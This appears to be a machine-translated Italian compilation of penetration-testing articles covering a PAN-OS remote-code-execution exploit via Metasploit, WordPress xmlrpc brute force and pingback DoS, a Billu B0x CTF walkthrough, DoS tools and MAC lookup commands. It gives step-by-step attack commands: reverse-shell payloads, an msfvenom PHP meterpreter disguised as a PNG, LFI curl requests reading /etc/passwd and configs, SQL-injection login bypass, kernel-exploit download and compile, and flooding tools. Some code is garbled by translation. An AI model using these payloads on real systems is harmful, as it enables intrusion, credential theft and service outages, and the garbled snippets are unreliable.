Sfortunatamente, questo modulo è già disponibile nell'ultima versione di Metasploit Framework ma con un nome diverso, ad esempio vxsrchs_bof .

Per utilizzare questo modulo, digita " use exploit/windows/smb/42057 " nel tuo terminale MSF.

Ora digitare ulteriormente " info " per saperne di più su questo modulo.

Se stai caricando nuovi ed entusiasmanti moduli Metasploit, sappi che queste cose tenderanno ad avere accesso a tutto ciò a cui hai accesso; doppiamente se li stai rilasciando in root. I moduli Metasploit sono Ruby in testo semplice, quindi puoi leggerli, ma fai attenzione e aggiungi solo moduli esterni da fonti attendibili; non limitarti ad afferrare qualsiasi cosa vecchia che vedi su Internet, perché potresti trovarti backdoor (o peggio) in breve tempo.

Sfruttamento di Palo Alto (PAN-OS) CVE-  -15944 – Dimostrazione dal vivo

   

L'anno scorso Philip Pettersson ha rilevato una vulnerabilità critica per l'esecuzione di codice in modalità remota in Palo Alto Network Firewalls. Palo Alto Network Firewalls ha un componente chiamato PAN-OS le cui versioni 6.1.18, 7.0.18, 7.1.13, 8.0.5 e versioni precedenti sono le principali interessate da questa vulnerabilità.

Palo Alto ha anche rilasciato un avviso pubblico per CVE-  -15944. PAN-OS e Panorama contengono molteplici vulnerabilità che, se sfruttate insieme, potrebbero portare all'esecuzione di codice in modalità remota prima dell'autenticazione.

Palo Alto Networks ha anche consigliato ai clienti di evitare di esporre l'interfaccia web dei suoi dispositivi a Internet, ma i motori di ricerca Sonar e Shodan mostrano che non è raro che le organizzazioni lo rendano accessibile da remoto.

Philip Pettersson , che ha segnalato questa vulnerabilità a Palo Alto Networks, ha anche sviluppato un modulo per Metasploit Framework chiamato " panos_readsessionvars " che puoi trovare su rapid7.com .

Il modulo precedente sfrutta una catena di vulnerabilità nei prodotti Palo Alto Networks che eseguono versioni PAN-OS precedenti a 6.1.19, 7.0.19, 7.1.14 e 8.0.6. Questa catena inizia utilizzando un difetto di bypass dell'autenticazione per sfruttare un problema di iniezione XML, che viene quindi abusato per creare una directory arbitraria e infine ottiene l'esecuzione del codice root sfruttando uno script cron vulnerabile.

Questo modulo utilizza un callback TLS inverso iniziale per mettere in scena payload arbitrari sull'appliance di destinazione. Il cron job utilizzato per il payload finale viene eseguito ogni 15 minuti per impostazione predefinita e lo sfruttamento può richiedere fino a 20 minuti.

Sebbene questo modulo non sia disponibile in Metasploit Framework, puoi facilmente aggiungere questo modulo in MSF come mostrato di seguito:

Puoi anche verificare se il tuo obiettivo è vulnerabile o meno con una semplice richiesta GET come mostrato di seguito:

Codice: https://example.com/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27″;user|s.”1337″;

Se vedi l'output sopra ( @start@Success@end@ ) sullo schermo, significa che il tuo obiettivo è vulnerabile e hai effettivamente creato un cookie di autenticazione.

Non bypassa completamente l'autenticazione, ma in realtà apre alcune librerie PHP come /php/utils/debug.php come mostrato di seguito:

Inoltre, puoi anche testarlo con un semplice script realizzato da  0xbug ospitato su  https://github.com/0xbug/CVE-  -15944-POC

Sintassi: python panos-poc.py http[s]://vulnerable-ip/

Ora proviamo a sfruttare la stessa vulnerabilità con Metasploit Framework, accendi il tuo MSF con il comando msfconsole nel tuo terminale.

Come sai, abbiamo importato questo modulo dall'esterno, quindi digita il comando " reload_all " all'interno del tuo terminale msf> per ricaricare tutti i moduli.

Ora digita "cerca panorami" per verificare se il tuo modulo è presente o meno.

Ora per utilizzare il modulo sopra, digita " use exploit/linux/http/panos_readsessionvars " e inoltre, digita " show options " per visualizzare tutti i dettagli sul modulo che devi impostare.

Ora definisci il tuo target digitando " set RHOST <Target> "

Abbiamo provato così tanti payload ma il nostro payload preferito è " cmd/unix/reverse_bash " che funziona come un incantesimo per noi e può essere impostato digitando " set payload cmd/unix/reverse_bash " e definire anche il tuo IP Localhost digitando " set LHOST <Your-IP> “.

Dopo aver impostato tutti i parametri, digita run o exploit .

Questo modulo utilizza un callback TLS inverso iniziale per mettere in scena payload arbitrari sull'appliance di destinazione. Il cron job utilizzato per il payload finale viene eseguito ogni 15 minuti per impostazione predefinita e lo sfruttamento può richiedere fino a 20 minuti, dopodiché ti darà direttamente la shell di accesso root come mostrato di seguito:

Palo Alto Networks ha rilasciato l'aggiornamento del contenuto 756 che include le firme di vulnerabilità n. 40483 e n. 40484 che possono essere utilizzate come mitigazione provvisoria per proteggere i dispositivi PAN-OS fino a quando il software del dispositivo non viene aggiornato.

Si noti che le firme 40483 e 40484 devono essere applicate a una regola firewall che protegge il traffico destinato all'interfaccia di gestione. Questo problema interessa l'interfaccia di gestione del dispositivo ed è fortemente mitigato seguendo le best practice per l'isolamento delle interfacce di gestione per le appliance di sicurezza.

Raccomandano inoltre che l'interfaccia di gestione sia isolata e strettamente limitata solo al personale amministrativo della sicurezza attraverso la segmentazione della rete o utilizzando la funzione di restrizione dell'elenco di controllo dell'accesso IP all'interno di PAN-OS. Una mitigazione alternativa include l'uso di un gestore centrale Panorama e la disabilitazione della gestione http e https su ciascuna delle appliance vulnerabili, quindi utilizzare la funzione di cambio di contesto Panorama per accedere in remoto all'interfaccia web del dispositivo.

Rilevamento in tempo reale e sfruttamento del file xmlrpc.php di WordPress

   

Essendo un cms così popolare, non sorprende che WordPress sia spesso sempre sotto attacco. Circa il 70% dei 100 migliori blog di Techno utilizza WordPress come sistema di gestione dei contenuti.

XML-RPC su WordPress è in realtà un'API (Application program interface), chiamata di procedura remota che offre agli sviluppatori che realizzano app mobili, app desktop e altri servizi la possibilità di parlare con il tuo sito WordPress.

Potresti aver visto un file /xmlrpc.php in molti siti wordpress che visiti, potresti anche aver provato a cercare l'errore ( il server XML-RPC accetta solo richieste POST ) che appare quando visiti http://example.com/wp /xmlrpc.php .

Alcune funzioni reali che il protocollo XMLRPC fa in WordPress:

In questo articolo cercheremo di evidenziare le vulnerabilità comuni associate al file xmlrpc.php.

  1. Attacco forza bruta
  2. Scansione delle porte
  3. Attacco Denial of Service

Per l'attacco Bruteforce, devi prima avviare lo strumento Burp Suite, che è lo strumento di intercettazione proxy più popolare.

E intercetta la richiesta dal tuo browser e fai clic con il pulsante destro del mouse su quella richiesta, dove vedrai così tante opzioni.

Fare clic su " Invia a ripetitore ".

Ora, come puoi vedere, la tua richiesta è ora su Richiesta ripetitore, fai semplicemente clic sul pulsante VAI (con OTTIENI richiesta) visualizzato nella parte superiore della finestra Richiesta.

Vedrai la stessa risposta mentre fai clic su http://example.com/wp/xmlrpc.php nel tuo browser, ad esempio " Il server XML-RPC accetta solo richieste POST. "

Nota: in questo scenario, abbiamo installato una nuova installazione di WordPress nella directory "        ".

Ora, nella seconda fase, devi inviare la stessa richiesta con il metodo POST insieme ad alcuni dati POST che elencheranno tutti i metodi disponibili come::

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Pertanto, un utente malintenzionato può facilmente creare una richiesta XML per elencare tutti i possibili metodi disponibili abilitati sul server.

Ora nella parte destra (finestra di richiesta), cerca i seguenti metodi:

Se riesci a trovare i metodi di cui sopra nella parte destra, significa che puoi facilmente eseguire l'attacco di forza bruta contro il tuo obiettivo.

Per eseguire un attacco Bruteforce, invia la richiesta POST con i seguenti dati POST come:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>amministratore</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Puoi persino caricare/inviare la stessa richiesta a Intruder dove puoi forzare il tuo obiettivo con alcuni dizionari. Ma nel nostro caso, come puoi vedere, mostra " Nome utente o password errati " come risposta ma con una risposta di 200 OK.

Cosa succede se inserisci il nome utente o la password corretti in una richiesta di dati POST, sarà simile a questo:

Per accelerare il processo di forzatura bruta, puoi anche utilizzare lo script automatizzato sviluppato da 1N3 (Crowdshield.com) ospitato su  https://github.com/1N3/Wordpress-XMLRPC-Brute-Force-Exploit

Per scaricare lo script sopra, digita il comando " git clone https://github.com/1N3/Wordpress-XMLRPC-Brute-Force-Exploit " nel tuo terminale.

Nel secondo passaggio, vai alla directory " WordPress-XMLRPC-Brute-Force-Exploit " ed esegui il seguente comando secondo la sintassi:

Sintassi: python wordpress-xmlrpc-brute-v2.py https://example.com/xmlrpc.php passwords.txt admin

Puoi anche generare un elenco di parole con password personalizzate con l'aiuto di crunch, che è lo strumento di creazione di dizionari più popolare.

Per la protezione di XML-RPC , puoi facilmente proteggere il tuo sito web aggiungendo una parte di codice nel tuo file .htaccess che è un file di configurazione di Apache.

<Files xmlrpc.php>
Ordina consenti, nega
Nega da tutti
i </Files>

Il codice precedente bloccherà tutti gli accessi a XML-RPC per WordPress non appena il file viene salvato.

E per i server NGinx, il codice è:

location = /xmlrpc.php {
nega tutto;
}

Non è nota alcuna correzione proveniente da WordPress. Gli utenti sui forum di WordPress stanno attualmente segnalando che l'utilizzo di file di configurazione come .htaccess o nginx.conf per bloccare l'accesso al file xmlrpc.php potrebbe risolvere il problema. Funziona perché i file non sarebbero più accessibili dai client Web, non consentendogli di eseguire il codice, ma continuerebbero a funzionare come al solito.

La vulnerabilità in XML-RPC consente a un utente malintenzionato di effettuare chiamate di sistema che possono essere pericolose per l'applicazione e i server. Anche l'aggressore può utilizzare questi metodi per creare un attacco DOS riuscito contro l'applicazione.

Un altro modo semplice per disabilitare la funzionalità XML-RPC può essere fatto facilmente aggiungendo una singola riga di codice nel file  functions.php del tuo tema .

add_filter('xmlrpc_enabled', '__return_false');

Rimuovere i collegamenti a xmlrpc.php e wlwmanifest.xml

In alternativa, se non hai bisogno di alcuna funzionalità di accesso remoto o pingback, potresti preferire semplicemente rimuovere i collegamenti di intestazione associati piuttosto che eliminare i file principali dal tuo server. Questo è facilmente realizzabile con la seguente funzione inserita nel file functions.php del tuo tema attivo :

function removeHeadLinks() {
remove_action('wp_head', 'rsd_link');
remove_action('wp_head', 'wlwmanifest_link');
}
add_action('init', 'removeHeadLinks');

Ciò impedirà a questi due file di essere collegati nell'intestazione, ma i file stessi rimarranno disponibili sul tuo server.

Ultimo ma non meno importante è un metodo semplice che ti consente di lasciare il file sul tuo server ma di impedirne l'accesso. Perfetto se non hai bisogno dello script e vuoi essere il più pigro possibile nel tenerlo al sicuro (non pensare alla manutenzione). Basta incollare il seguente codice nel file root .htaccess e farla finita:

<IfModule mod_alias.c>
RedirectMatch 403 /(.*)/xmlrpc\.php$
</IfModule>

Inoltre, puoi anche utilizzare Metasploit Framework, che è uno strumento di sfruttamento più popolare per XMLRPC Exploitation.

Attiva Metasploit Framework digitando " msfconsole " nel tuo terminale.

Ora digita "se arch xmlrpc " sotto il terminale MSF per cercare tutti i moduli/exploit relativi a XMLRPC.

Qui, proviamo a utilizzare il 4° modulo relativo all'attacco bruteforce. Per utilizzare questo modulo, digita " use ausiliario/scanner/http/wordpress_xmlrpc_login " nella tua console e quindi digita " mostra opzioni " per visualizzare tutte le opzioni disponibili.

Ora configura tutti i parametri seguenti in base alle tue esigenze e digita run per eseguire il modulo.

Nel 2007, è stata segnalata anche una vulnerabilità SQL Injection in WordPress V2.1.2 come da seguente risorsa:  https://www.exploit-db.com/exploits/3656/

Controlla XML-RPC sul tuo sito WordPress

Inoltre, puoi anche testare il servizio XMLRPC con  https://xmlrpc.eritreo.it/

Negli ultimi 2 anni, gli aggressori sono in grado di lanciare attacchi DDoS tramite pingback XML-RPC, ma questi attacchi non sono così efficaci perché alcuni plug-in come Akismet, che è un plug-in anti-spam, hanno una buona visibilità per questo tipo di abuso.

Per la maggior parte, XML-RPC è veramente utile solo se hai davvero intenzione di utilizzare app mobili o connessioni remote per pubblicare contenuti sul tuo sito web.

Ecco l'elenco di altri plugin già pronti attraverso i quali è possibile disabilitare XML-RPC.

Nel marzo 2014, Sucuri ha anche  segnalato 162.000 siti utilizzati in attacchi DDoS all'insaputa del proprietario del sito tramite falle di sicurezza in XML-RPC.

Disattiva trackback e pingback –

Questo può essere fatto accedendo alla tua dashboard WP e vai su Impostazioni -> Discussione e disattiva entrambe le opzioni sottostanti come mostrato nello screenshot qui sotto.

Attacco DOS tramite richiesta pingback –

Se hai una piccola istanza di hosting con configurazione bassa, gli attacchi da xmlrpc.php possono essere rischiosi per il tuo sito web.

Le massicce connessioni facevano sì che il server utilizzasse sempre più RAM e mentre le richieste xmlrpc impiegavano molti secondi per rispondere, venivano generati sempre più processi di Apache. Ciò porta a un maggiore consumo di memoria e all'utilizzo di tutta la RAM disponibile e inizia a utilizzare lo scambio, con un forte impatto sulle prestazioni fino a quando tutta la memoria non è stata esaurita e i processi mysql si sono interrotti.

Prima di tutto, è necessario controllare nuovamente l'elenco dei metodi tramite la chiamata system.listMethods e confermare se il metodo pingback.ping è disponibile o meno come da screenshot sottostante.

Qui puoi vedere che il metodo pingback.ping è disponibile e viene visualizzato nella finestra di risposta, quindi prova a catturare la richiesta xmlrpc.php e invia la richiesta POST con i seguenti dati:

<methodCall>
<methodName>pingback.ping</methodName>
<params><param><value><string>http://www.target.com/</string></value></param>
<param> <value><string>https://example.com/wp/?p=1</string></value></param></params>
</methodCall>

Quindi in pratica stavano cercando di registrare un collegamento a target.com e renderanno il tuo sito non disponibile per qualche tempo.

Puoi anche confermare lo stesso controllando il tuo file access.log.

Puoi anche controllare i log di accesso tramite la riga di comando digitando il comando seguente nel tuo terminale:

grep xmlrpc /var/log/apache2/access.log

Questo può essere fatto anche inviando una richiesta tramite curl in questo modo:

curl -D – “https://example.com/wp/xmlrpc.php” -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http:/ /target.com/</string></value></param><param><value><string>https://example.com/wp/?p=1</string></value></ param></params></methodCall>'

Puoi anche disabilitare la funzionalità pingback aggiungendo un pezzo di codice nel file functions.php del tuo tema :

add_filter( 'xmlrpc_methods', 'remove_xmlrpc_pingback_ping' );
funzione remove_xmlrpc_pingback_ping( $metodi ) {
unset( $metodi['pingback.ping'] );

return $metodi;
}

Ed ecco il codice se vuoi rimuovere/disabilitare un particolare metodo (es. wp.getusersBlogs):

function remove_getUsersBlogs( $methods ) {
unset( $methods['wp.getUsersBlogs'] );
return $metodi;
}
add_filter( 'xmlrpc_methods', 'remove_getUsersBlogs');

Per i server IIS , è necessario negare tutti e tre i file (xmlrpc.php, wp-comments-post.php e wp-trackback.php) con l'aiuto della regola di filtro denyUrlSequences :

<security>
<requestFiltering>
<denyUrlSequences>
<add sequence=”xmlrpc.php” />
<add sequence=”wp-comments-post.php” />
<add sequence=”wp-trackback.php” />
</ denyUrlSequences>
</requestFiltering>
</security>

Stai con noi? Pensi che il tuo WordPress sia stato attaccato? Se sei un cliente, contattaci senza impegno e cercheremo di aiutarti nel miglior modo possibile .

CTF – Billu B0x – Soluzione passo dopo passo

   

Billu: B0x VM è stato creato da uno dei più famosi hacker etici indiani chiamato " Manish Kishan Tanwar " (alias Indishell Hacker) che ha creato così tante web shell in linguaggio PHP ospitate su Github.com .

Scarica collegamento VM –  https://www.vulnhub.com/entry/billu-b0x,188/

Il primo passo è installare quella VM nella tua macchina virtuale e scoprire l'IP di destinazione perché la modalità GUI non è abilitata nella maggior parte delle VM ospitate sulla piattaforma Vulnhub.

Eseguendo il comando " netdiscover -i eth0 -r 192.168.179.0/24 " nella tua macchina Kali Linux ti darà l'IP di destinazione in meno di 2 secondi.

Nota: assicurati che la tua macchina target e la tua macchina Kali Linux (macchina attaccante) debbano trovarsi nella stessa rete NAT.

Dall'output sopra, sembra che 192.168.179.169 sia l'indirizzo IP della tua macchina target, ad esempio Billu: macchina B0x e 192.168.179.168 sia l'indirizzo IP della tua macchina Kali Linux che è la tua macchina attaccante.

Inizialmente avviamo la tipica scansione delle porte utilizzando nmap per scoprire le porte e i servizi aperti rispetto alla macchina di destinazione che è ospitata su 192.168.179.169 digitando il seguente comando nel tuo terminale:

Comando: nmap -Pn -T3 -sSV -p- 192.168.179.169

Sembra che siano aperte due porte, ovvero la porta 80 in cui è in esecuzione il servizio Apache HTTP e la porta 22 in cui è in esecuzione il servizio SSH.

Dall'output sopra, mostra chiaramente che il server Apache è un po' obsoleto (2.2.22), quindi puoi facilmente sfruttare questa macchina VM in molti modi.

Quindi, abbiamo deciso di concentrarci sull'applicazione Web come vettore di attacco accedendo all'IP dal browser http://192.168.179.169/  dove dovevamo eseguire SQL Injection a quanto pare.

Abbiamo provato quasi tutti i payload a bypassare la pagina di accesso ma il sistema non ci ha permesso di entrare nel dashboard, quindi abbiamo deciso di eseguire " dirb " contro il target che è lo strumento di forzatura bruta del dominio opensource più popolare.

Comando: dirb http://192.168.179.169

Dall'output sopra, sembra che ci siano pochi file di test (/add, /c, /head, /in, /index, /panel, /server-status, /test etc)

Proviamo a eseguire la forza bruta con un file di dizionario di grandi dimensioni ospitato in /usr/share/wordlists/dirb/big.txt

Comando: dirb http://192.168.179.169 /usr/share/wordlists/dirb/big.txt

Ora puoi vedere che abbiamo trovato un'altra directory interessante (/phpmy) dove è in esecuzione phpmyadmin. Puoi anche eseguire lo strumento Wfuzz per la forzatura bruta del dominio che è già installato in ogni macchina Kali Linux.

Proviamo ad iniziare con  /test  e ad accedervi dal tuo browser

e sembra che ci sia un parametro chiamato “file” che è ovviamente vulnerabile a LFI (Local File Inclusion) e può essere sfruttato inviando una semplice richiesta POST con curl.

Comando: curl -X POST –data " file=/etc/passwd " http://192.168.179.169/test

Yippie!, ora abbiamo la vulnerabilità LFI, quindi possiamo leggere facilmente il codice sorgente di qualsiasi file, proviamo a leggere il contenuto di index.php dove viene mostrata una pagina di accesso.

Comando: curl -X POST –data “ file=./index.php ” http://192.168.179.169/test | Di più

Scorri la pagina verso il basso e vedrai la query di selezione:

seleziona * da auth dove pass=\”.$pass.'\' e uname=\”.$uname.'\'

È chiaro che è necessario aggiungere una barra rovesciata (\) alla fine di ogni payload che si sta tentando di inserire nel campo Nome utente e Password.

Quindi il tuo payload finale diventerà OR 1=1– \

Tombola! siamo entrati nella pagina Dashboard ( panel.php ) dove puoi vedere una grande immagine di sfondo sgradevole con un link di logout mostrato in alto a destra.

Continua a esplorare più risorse (come il file di configurazione) digitando:

Comando: curl -X POST –data “file=./c.php” http://192.168.179.169/test

Come vedete abbiamo la catena di connessione al database, con username e password in chiaro.

Quindi abbiamo tutte le credenziali in formato testo in chiaro, proviamo a verificare tutti i dettagli accedendo a http://192.168.179.169/phpmy/index.php

Il prossimo da leggere è il file di configurazione predefinito di phpmyadmin digitando il seguente comando:

Comando: curl -X POST –data " file=/var/www/phpmy/config.inc.php " http://192.168.179/169/test

Qui puoi vedere che il nome utente è root e la password è roottoor , quindi proviamo a verificarlo accedendo a SSH.

BOOM!, in realtà siamo entrati nel server con i privilegi di root, ma cosa succede se il servizio SSH è disabilitato?

Sai anche che ci sono tanti altri file interessanti (/add, /panel ecc.) e se accedi alla directory /add, troverai un modulo dove puoi caricare qualsiasi immagine.

Quindi creiamo un'immagine dannosa con l'aiuto dello strumento msfvenom digitando il seguente comando:

Comando: msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.179.168 LPORT=443 -f raw >> shell.png

Quindi è stato creato il file shell.png che in realtà ti dà la connessione TCP inversa al metasploit.

Ora prova a caricare questo file tramite la pagina panel.php.

Vediamo che il formato png non è interpretato correttamente.

Ora quello che devi fare è fingere le intestazioni di un file PNG in shell.png e poi caricarlo tramite lo stesso modulo.

Comando: eco 89504E470D0A1A0A | xxd -r -p> shell.png

Ora prova a caricare questo file " shell. png ” e accedi ad esso nel tuo browser.

Di nuovo, sembra che il file non sia eseguibile, proviamo ad intercettare la richiesta di /test.php con l'aiuto di BURP SUITE .

Inoltra questa richiesta a Repeater e modifica il metodo GET in POST Method con il nome file panel.php perché sappiamo che il file panel.php utilizza alcuni parametri di caricamento, quindi possiamo facilmente eseguire LFI anche in questa pagina.

Proviamo a caricare il file shell.png caricato con i seguenti dati:

load=../../../../var/www/uploaded_images/shell.png&continue=continua

Nel frattempo, avvia Metasploit Framework con multi/handler exploit e imposta i seguenti parametri come mostrato di seguito:

Non appena carichi quel file (shell.png) con Burp Suite, otterrai immediatamente una sessione Meterpreter.

Digita il comando sysinfo  per saperne di più sul tuo sistema operativo di destinazione.

Inoltre, sembra anche che la versione del kernel sia la 3.13.0, il che è ancora un po' strano, quindi proviamo a trovare qualche exploit più interessante con l'aiuto di Searchsploit Tool.

Comando: kernel searchsploit 3.13.0

Digita "shell" nella console Meterpreter dove puoi eseguire direttamente i comandi UNIX.

Dall'output di Searchsploit, sembra che sia disponibile un exploit con il nome 37292.c che è ospitato su  https://www.exploit-db.com/exploits/37292/  una sorta di exploit di escalation dei privilegi locali.

Scarica questo exploit nella directory uploaded_images con l'aiuto del comando wget:

wget https://www.exploit-db.com/download/37292.c

E compilalo con il compilatore gcc (gcc 37292.c -o 37292) e infine esegui l'exploit digitando (./37292)

Game Over!, ora sei di nuovo root! E un grande ringraziamento a Manish Kishan Tanwar per aver creato questa fantastica VM Machine.

Esegui l'attacco DOS con 5 diversi strumenti - Aggiornamento        

   

In genere, un esercizio di Penetration Test si concentra sull'identificazione delle lacune nella sicurezza piuttosto che sul danneggiamento di un sistema. Questa è una caratteristica chiave che separa un vero aggressore da un Penetration Tester autorizzato. I veri hacker non seguono le regole e non si preoccupano di interrompere gli affari se ciò può migliorare la loro situazione.

In alcuni casi, un hacker cerca di creare qualsiasi forma di impatto negativo su un obiettivo, inclusa la rimozione di sistemi critici. Per questo motivo, in alcuni casi ha senso testare i sistemi per il rischio di attacchi di tipo Denial of Service (DoS) . Questo è comunemente definito come stress test dei tuoi servizi Internet.

L'attacco DoS più comune prevede l'inondazione di un bersaglio con richieste di comunicazione esterne. Questo sovraccarico impedisce alla risorsa di rispondere al traffico legittimo o ne rallenta la risposta in modo così significativo da renderla non disponibile. Gli attacchi DoS possono prendere di mira le risorse di sistema (IE spazio su disco, larghezza di banda e così via), informazioni di configurazione (IE rimuovere tabelle di instradamento), informazioni sullo stato (reimpostazione della sessione TCP) o qualsiasi cosa che possa danneggiare il funzionamento del sistema.

Categorie di attacchi DOS/DDOS –

Kali Linux contiene molteplici strumenti di sfruttamento delle vulnerabilità che possono essere utilizzati anche per attacchi DOS a livello di applicazione come Ettercap, Metasploit Framework, Nmap ecc.

Qui abbiamo una macchina vulnerabile chiamata Metasploitable2 ospitata nella nostra workstation VMware il cui indirizzo IP locale è 192.168.36.132 (potrebbe essere diverso nel tuo caso).

1. Attacco DOS con script Slowloris.pl –

Slowloris è un client HTTP a bassa larghezza di banda che può emettere attacchi DOS ma è molto efficace. Slowloris mantiene aperte le connessioni inviando richieste HTTP parziali che continuano a inviare diverse centinaia di intestazioni successive a intervalli regolari per impedire la chiusura dei socket.

Puoi installare direttamente lo script slowloris.pl dal repository Github disponibile su  https://github.com/llaera/slowloris.pl

Comando: git clone https://github.com/llaera/slowloris.pl

Per eseguire questo script, digita il seguente comando:

Comando: perl slowloris.pl -dns <IP/dominio>

Vedrai slowloris consumare i socket disponibili, che alla fine abbatteranno il bersaglio.

Questo comportamento sovraccaricherà le risorse del target, rendendolo incapace di rispondere al traffico legittimo. Anche slowloris inonderà tutte le prese disponibili, interrompendo il servizio al sito Web della vittima.

2. Attacco DOS con Metasploit Framework –

Metasploit Framework, che è uno dei framework di post-exploit più popolari con così tanti strumenti di sfruttamento/scansione al suo interno. Il modulo di scansione di seguito utilizzato fondamentalmente per testare la protezione IPS per difendere i SYN flood.

Apri il terminale e digita " msfconsole " che apre il tuo Metasploit Framework in una console e carica il modulo chiamato " ausiliario/dos/tcp/synflood "

Per utilizzare il modulo precedente, digita use ausiliario/dos/tcp/synflood  e poi digita " mostra opzioni " per vedere tutte le opzioni disponibili richieste da questo modulo.

Successivamente, è necessario impostare l'IP di destinazione con il comando ( set RHOST 192.168.36.132 ) con ( set RPORT 80 ) ed eseguire l'exploit digitando exploit o run command come mostrato di seguito:

Puoi persino monitorare tutti i pacchetti con l'aiuto di Wireshark Tool dove puoi effettivamente vedere i pacchetti inviati dalla rete dell'attaccante alla rete di destinazione.

Per Syn-FIN/Push-Ack Flooding, è disponibile anche un altro strumento popolare chiamato Hping3 che è un generatore di pacchetti gratuito e analizzatore per la distribuzione del protocollo TCP/IP ed è molto efficace per lanciare attacchi DOS/DDOS contro il bersaglio.

3. Attacco DOS con XERXES –

Serse è un altro popolare e potente strumento DOS scritto in linguaggio C che è disponibile su  https://github.com/zanyarjamal/xerxes

Per scaricare lo script sopra, digita " git clone https://github.com/zanyarjamal/xerxes.git " come mostrato di seguito:

Per eseguire Xerxes, esegui il seguente comando nel tuo terminale:

Comando: ./xerxes 192.168.36.132

Come puoi vedere, il comando precedente invierà migliaia di pacchetti in pochi secondi e per un attacco più potente, dovresti eseguire questo comando nei prossimi 2-3 terminali con la stessa sintassi in modo che vengano inviati più pacchetti al bersaglio che aumenta effettivamente il livello di congestione .

Lo stesso può essere fatto anche con l'aiuto di Ping Command. In Windows, sappiamo che possiamo inviare solo 4 pacchetti e quindi ricevere solo 4 riconoscimenti, ma puoi effettivamente aumentare questa dimensione e definire la dimensione del pacchetto personalizzata con l'aiuto dell'opzione (-l), l significa lunghezza.

Comando: ping 192.168.36.132 -t -l 500

Se stai usando il comando ping per disattivare qualsiasi server/macchina, devi davvero aspettare così tanto tempo per il risultato.

Con l'aiuto di LBD (Load Balancing Detector), uno script open source già disponibile in Kali Linux, è possibile rilevare facilmente se un dominio/IP utilizza o meno un server di bilanciamento del carico DNS o HTTP.

Comando: lbd 192.168.36.132

Come puoi vedere nello screenshot sopra, non esiste un server di bilanciamento del carico, quindi puoi facilmente smontare la macchina.

4. Attacco DOS con Ettercap –

Ettercap è uno dei migliori strumenti per gli attacchi MITM e può essere utilizzato per l'analisi del protocollo di rete del computer e il controllo della sicurezza. Ettercap supporta la dissezione sia attiva che passiva di molti protocolli e include molte funzionalità per l'analisi di rete e host.

Ettercap ha molti strumenti/plugin integrati per consentire ogni tipo di attività di rete dallo sniffing allo spoofing ARP.

Negli attacchi di tipo DOS, un utente malintenzionato tenta di rendere una macchina o una risorsa di rete non disponibile per gli utenti. L'obiettivo sono i servizi interrotti o sospesi che si connettono a Internet.

Per avviare Ettercap in modalità grafica, digita " ettercap -G " nel tuo terminale.

Fare clic sulla scheda " Sniff " e avviare Unified Sniffing che richiederà inoltre di selezionare l'interfaccia di rete.

Selezionare eth0 come interfaccia se si utilizza la modalità NAT (LAN).

Inoltre, devi passare alla scheda Plugin e selezionare il plug- in dos_attack che ti chiederà di inserire il tuo IP di destinazione come " Inserisci IP vittima ".

Come puoi vedere, lo sniffing unificato è stato avviato e il tuo obiettivo verrà eliminato immediatamente dopo alcuni minuti.

Fondamentalmente, Ettercap può lavorare con questi 4 modelli:

5. Attacco DOS con Nmap –

Nmap (Network Map), uno strumento preferito dai pentester e dai ricercatori di sicurezza per scoprire le porte aperte contro qualsiasi bersaglio.

Questo script http-slowloris-check apre e mantiene numerose connessioni " half-HTTP " fino a quando il server non esaurisce le risorse, portando a un denial of service. Quando viene rilevato un attacco riuscito, lo script interrompe l'attacco e restituisce queste informazioni (che possono essere utili per modificare ulteriori regole di filtraggio).

Di seguito è riportato l'esempio del comando con lo script NSE di nmap. Questo script verifica la vulnerabilità di un server Web all'attacco DoS senza lanciare effettivamente un attacco DoS.

Sintassi: nmap –script http-slowloris-check <IP/dominio di destinazione>

Per impostazione predefinita, lo script viene eseguito per 30 minuti se DoS non viene raggiunto. Si noti che il numero di connessioni simultanee deve essere definito con l'opzione –max-parallelism (il valore predefinito è 20, suggerito è 400 o più)

Per saperne di più: 5 libri considerati i migliori libri Nmap

Inoltre, tieni presente che in alcuni casi questo attacco può arrestare definitivamente il server Web, non solo mentre l'attacco è in esecuzione. Inoltre, a causa delle limitazioni del sistema operativo, è improbabile che lo script funzioni durante l'esecuzione da Windows.

Comando: nmap –script http-slowloris –mac-parallelism 400 <IP/dominio di destinazione>

Come ottenere l'indirizzo MAC - 10 metodi diversi - Kali Linux

   

Un indirizzo di controllo dell'accesso ai supporti (indirizzo MAC) di un dispositivo è un identificatore univoco assegnato a un controller di interfaccia di rete (NIC) per le comunicazioni a livello di collegamento dati di un segmento di rete. Gli indirizzi MAC vengono utilizzati come indirizzo di rete per la maggior parte delle tecnologie di rete IEEE 802, inclusi Ethernet e Wi-Fi.

In Microsoft Windows, ottenere l'indirizzo MAC è un compito molto semplice, ma in Linux ci sono tanti modi diversi attraverso i quali puoi ottenere l'indirizzo MAC e soprattutto se stai facendo del lavoro BASH/Python, è molto importante che tu debba ottenere il MAC Indirizzo in una sola riga senza ulteriori informazioni sull'interfaccia.

Sui sistemi Linux, il dispositivo Ethernet è in genere chiamato eth0 . Per trovare l'indirizzo MAC del dispositivo Ethernet, devi prima eseguire tutti i comandi seguenti come root.

L'indirizzo MAC è spesso stampato su un'etichetta attaccata al dispositivo o stampato sulla confezione in cui è entrato. Altrimenti, puoi controllare i comandi seguenti dove abbiamo spiegato il processo per ottenere l'indirizzo MAC in 10 modi diversi.

Metodo 1 –

Con l'aiuto del comando seguente, puoi facilmente scoprire l'indirizzo MAC della tua macchina Kali Linux.

Comando: ifconfig | grep etere

Metodo 2 –

Con l'aiuto del comando seguente, puoi facilmente stampare l'indirizzo MAC direttamente dal tuo file di interfaccia corrente (eth0) che si trova in /sys/class/net/eth0/address.

Comando: cat /sys/class/net/eth0/address

E se vuoi visualizzare tutti gli indirizzi MAC dell'interfaccia, digita " cat /sys/class/net/*/address "

Metodo 3 –

Con l'espressione regix insieme all'utilità grep, ti aiuterà anche a ottenere l'indirizzo MAC di qualsiasi interfaccia.

Comando: ifconfig eth0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'

Metodo 4 –

Con il comando (IP), puoi anche scoprire l'indirizzo MAC di qualsiasi interfaccia insieme ad alcune ulteriori informazioni sulla rete come l'indirizzo di trasmissione, la velocità e la modalità del collegamento, ecc.

Comando: ip link mostra eth0

